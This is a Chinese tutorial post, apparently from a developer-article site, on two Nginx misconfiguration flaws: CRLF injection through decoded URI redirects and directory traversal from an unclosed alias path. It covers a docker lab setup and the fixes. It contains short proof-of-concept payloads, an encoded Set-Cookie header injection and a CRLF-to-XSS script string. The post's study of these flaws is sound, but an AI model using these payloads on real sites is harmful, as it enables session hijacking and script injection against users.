通过控制HTTP消息头中的字符,注入一些恶意的换行,就能注入一些会话或者HTML代码,并且使用了解码的URI跳转
构造请求头
%0a%0dSet-Cookie:JSPSESSIONID%3D360
CRLF注入导致的反射型XSS 使用了解码的uri跳转
$uri:解码后请求路径,不含参数; $document_uri:解码后请求路径,不含参数; $request_uri:完整的URI,不解码
%0d%0a%0d%0a<script>alert(2)</script>
配置不当导致目录穿越
Nginx开启了反向代理,静态文件存储在/home/文件下,访问时在url中输入files即可访问
但是,files没有用/闭合,导致在url后加 ../等也可以被执行,从而导致了目录穿越
环境搭建
docker-compose up -d
利用方法
目录穿越
正常访问
构造url,实现了目录穿越
修复方法
CRLF
修改配置文件,使用不解码的uri跳转
修复效果
目录穿越
在配置里,将files用/闭合
修复结果
备注
URL编码
%0a 换行符
%0d 回车符
%3d =
整理这么多手都麻了,目前总结的就这么多了,若有错误请各位大佬多多指教!
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
时间的朋友2018
罗振宇 / 中信出版集团 / 2019-1
2018年,有点不一样。 从年头到现在,各种信息扑面而来。不管你怎么研判这些信息的深意,有一点是有共识的:2018,我们站在了一个时代的门槛上,陌生,崭新。就像一个少年长大了,有些艰困必须承当,有些道路只能独行。 用经济学家的话说,2018年,我们面对的是一次巨大的“不确定性”。 所谓“不确定性”,就是无法用过去的经验判断未来事情发生的概率。所以,此时轻言乐观、悲观,都没有什么意......一起来看看 《时间的朋友2018》 这本书的介绍吧!